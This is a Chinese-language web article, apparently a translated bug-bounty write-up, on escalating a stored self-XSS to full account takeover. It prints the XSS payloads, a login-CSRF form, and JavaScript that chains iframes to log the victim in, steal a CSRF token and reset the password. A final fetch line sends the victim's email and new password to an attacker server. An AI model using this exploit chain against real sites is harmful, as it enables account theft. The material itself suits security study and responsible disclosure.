溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

從存儲(chǔ)型self-XSS到最終實(shí)現(xiàn)賬號(hào)完全接管的示例分析

發(fā)布時(shí)間:2021-12-18 14:40:39 來(lái)源:億速云 閱讀:106 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章給大家分享的是有關(guān)從存儲(chǔ)型self-XSS到最終實(shí)現(xiàn)賬號(hào)完全接管的示例分析,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。

下面講述了作者從發(fā)現(xiàn)一個(gè)存儲(chǔ)型的self-XSS,到利用目標(biāo)網(wǎng)站的一些錯(cuò)誤配置和功能,最終實(shí)現(xiàn)目標(biāo)網(wǎng)站賬號(hào)的完全接管。

漏洞利用過(guò)程概括如下:

  • 發(fā)現(xiàn)存儲(chǔ)型的self-XSS

  • google登錄的csrf,登錄攻擊者的賬戶,將self-XSS轉(zhuǎn)變成good-XSS

  • 登出攻擊者的賬戶

  • google登錄受害者的賬戶

  • 竊取修改密碼的csrf令牌

  • 修改受害者賬號(hào)密碼

  • 發(fā)送到受害者的郵箱、密碼到攻擊者的服務(wù)器

漏洞發(fā)現(xiàn)&利用

在一個(gè)非公開(kāi)漏洞賞金項(xiàng)目測(cè)試中,我在站點(diǎn)的個(gè)人簡(jiǎn)介設(shè)置功能中發(fā)現(xiàn)了一個(gè)簡(jiǎn)單的存儲(chǔ)型XSS。該功能操作大概是,當(dāng)從本地上傳一張圖片時(shí),圖片會(huì)被上傳到非當(dāng)前的另一服務(wù)器上,接下來(lái)的一個(gè)請(qǐng)求會(huì)將服務(wù)器圖片地址保存到當(dāng)前服務(wù)器上。我將該請(qǐng)求中的圖片地址所在的參數(shù)加上了一個(gè)簡(jiǎn)單的XSS payload,類(lèi)似這樣&imageurl=https://example.com“><script>alert(1)</script>,接下來(lái)每次我訪問(wèn)個(gè)人簡(jiǎn)介的時(shí)候都會(huì)有提示框彈出。但是這只是一個(gè)self-XSS,我需要使其能在受害者方執(zhí)行才行。

之前我了解到該站點(diǎn)支持google登錄,那么可以使受害者通過(guò)訪問(wèn)下面的html代碼登錄我自己的賬戶,接著在5秒后使受害者訪問(wèn)賬號(hào)的個(gè)人簡(jiǎn)介頁(yè)從而觸發(fā)存儲(chǔ)型XSS。代碼中的google登錄用到的TOKEN可以在本地登錄后抓取到,其有效期為一天,在有效期內(nèi)發(fā)給受害者,受害者登錄后TOKEN會(huì)保持自動(dòng)更新有效性。

<html>
  <body>
    <form action="https://example.com/en/login?accessToken=TOKEN" method="POST">
      <input type="submit" value="Submit request" />
    </form>

    <script>
      document.forms[0].submit();
      setTimeout(function(){window.location="https://example.com/USERNAME/edit";}, 5000)
    </script>
  </body>
</html>

接著我在漏洞提交報(bào)告中闡述了以上的攻擊細(xì)節(jié),在受害者觸發(fā)XSS之后攻擊者可以做一些社工操作竊取受害者的數(shù)據(jù),由于受害者瀏覽器訪問(wèn)的URL是同一網(wǎng)站的URL,這使得攻擊可信度更高。該漏洞利用受到了h2漏洞分揀員的贊賞,但是他希望我可以實(shí)現(xiàn)對(duì)受害者的賬戶執(zhí)行XSS,這樣才能產(chǎn)生更高的影響。我想說(shuō)這句話激勵(lì)到了我,我對(duì)此表示感激。

所以接下來(lái)的任務(wù)就是實(shí)現(xiàn)登錄受害者的賬戶并執(zhí)行XSS?,F(xiàn)在我比較好奇的是,如果受害者已經(jīng)在網(wǎng)站登錄了他的google賬戶的情況下,我們是否還可以觸發(fā)XSS?答案是可以,我之前做了一些相關(guān)的研究和閱讀,這篇@emgeekboy0的writeup幫助了我很多。

如那篇writeup提到的,我們首先需要將賬戶登出。在這個(gè)網(wǎng)站的場(chǎng)景下登出賬戶并不是一個(gè)簡(jiǎn)單的登出url就可以,而是還需要一個(gè)csrf令牌才可以登出。好在令牌就在站點(diǎn)源碼中,可以很簡(jiǎn)單的通過(guò)XSS獲取。接著我在js代碼中通過(guò)加載一個(gè)iframe去實(shí)現(xiàn)賬戶的登出操作,代碼部署到了我的服務(wù)器上,XSS的payload相比之前也就更新成了“><script src=”https://myserver.com/exploit.js”></script>。

//getting logout url with csrf token from source
//從源碼中獲取登出url使用到的csrf令牌
var y = JSON.parse(document.getElementById('conf').innerHTML);
var url = y.user.link.logOut

//First iframe to logout
//第一個(gè)iframe用于登出賬號(hào)操作
var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://example.com'+url);
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

通過(guò)以上代碼可以將之前已經(jīng)登陸的攻擊者賬戶登出,接下來(lái)需要通過(guò)google的登陸按鈕登陸受害者的賬戶,但是現(xiàn)在的問(wèn)題是并沒(méi)有登陸google的url可用,唯一的方法就是點(diǎn)擊google的登陸按鈕。所以我開(kāi)始研究javascript如何實(shí)現(xiàn)在DOM中點(diǎn)擊按鈕,并將其加入到腳本中。現(xiàn)在腳本整體功能稍顯復(fù)雜,具體過(guò)程是在之前已經(jīng)創(chuàng)建的第一個(gè)iframe中加載另一個(gè)iframe,為了后者iframe可以加載完成,在等待30秒后再觸發(fā)其iframe中的DOM代碼點(diǎn)擊google登錄按鈕:

document.getElementById('pi').onload = function() {

//second iframe to login to victims google account
//第二個(gè)iframe用于登錄受害者的google賬號(hào)
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://example.com/login');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

//waiting for 30 seconds for the iframe to load properly
//30秒等待iframe加載完成
document.getElementById('lo1').onload = function() {
        setTimeout(function(){ load() }, 30000)

        function load()
        {
            let iframe = document.getElementById('lo1');
            let inner = iframe.contentDocument || iframe.contentWindow.document;

            //Clicked google login in iframe to login to victim
            //iframe中實(shí)現(xiàn)點(diǎn)擊google登錄按鈕,登錄受害者的賬戶
            inner.getElementsByClassName("g_login")[1].click();

        }
    }
}

現(xiàn)在我們已經(jīng)成功登錄了受害者賬戶,既然已經(jīng)都這了何不再利用該站點(diǎn)的其它配置錯(cuò)誤實(shí)現(xiàn)對(duì)受害者賬戶的完全接管。Cookies是帶有HttpOnly屬性的,所以竊取Cookies是行不通的。不過(guò)我們可以在設(shè)置中給google賬戶添加一個(gè)密碼,而且有趣的是添加新密碼并不需要舊密碼確認(rèn)。所以現(xiàn)在我最后要做的是構(gòu)造一個(gè)可以修改密碼的javascript腳本,為此我們需要解決下面兩個(gè)問(wèn)題:

  • 修改密碼需要不同的csrf令牌,令牌位于設(shè)置頁(yè)面的源碼中,我需要拿到令牌才可以修改密碼。

  • 設(shè)置頁(yè)面的url大概是這樣的“https://example.com/user/setting”, 所以我需要拿到受害者賬號(hào)的賬號(hào)名,才能到配置頁(yè)拿到修改密碼的csrf令牌。


讀者是否記得上面提到的竊取用于登出操作的csrf令牌的地方,同時(shí)也是可以獲取用戶名的。接著下來(lái)為了獲取密碼修改的csrf令牌,我在之前創(chuàng)建的iframe中創(chuàng)建了又一個(gè)用于竊取令牌的iframe,代碼如下:

//wait 40 seconds to t login fully
//等待40秒完全登錄
setTimeout(function(){ takeover() }, 40000)

function takeover()
{
    //Getting users parameters page url from source
    //從源碼中獲取賬戶名
    let iframe_second = document.getElementById('lo1');
    let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document;
    var z = JSON.parse(inner1.getElementById('conf').innerHTML);
    var param = z.user.link.parameter;


    // opens third iframe to steal csrf token for pass change
    //創(chuàng)建用于竊取用于修改密碼令牌的第三個(gè)iframe
    // Where param is like /user/settings
    //param值是/user/settings
    var profileIframe2 = document.createElement('iframe');
    profileIframe1.setAttribute('src', 'https://example.com'+param);
    profileIframe1.setAttribute('id', 'lo2');
    document.body.appendChild(profileIframe2);

    //waiting 50 seconds to let the third iframe load fully
    //等待50秒以便于讓第三個(gè)iframe可以加載完成
    document.getElementById('lo2').onload = function() {
        setTimeout(function(){ csrf() }, 50000)

        //Stealing csrf token from parameters page
        //從設(shè)置頁(yè)面竊取csrf令牌
        function csrf() {
            let iframe_csrf = document.getElementById('lo2');
            let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document;
            var csrf = inner_csrf.getElementById("password__token").value;
        }
    }
}


密碼修改用到的csrf令牌已拿到,只需要一個(gè)XMLHhttpRequest的POST請(qǐng)求就可以修改受害者賬戶的密碼:

//account takover
//接管賬戶
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com"+param+"/password", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i); 
xhr.send(new Blob([aBody]));

不過(guò)就目前情況作為攻擊者來(lái)說(shuō),密碼已經(jīng)修改,但是還需要獲取受害者的email賬號(hào)才行。幸運(yùn)的是,用戶的email賬戶剛好存在該站點(diǎn)的localStorage中,接下來(lái)只需要用fetch函數(shù)將其發(fā)送到我的服務(wù)上:

fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")

至此通過(guò)以上過(guò)程,完成了從存儲(chǔ)型self-XSS到賬戶的完全接管。

以上就是從存儲(chǔ)型self-XSS到最終實(shí)現(xiàn)賬號(hào)完全接管的示例分析,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI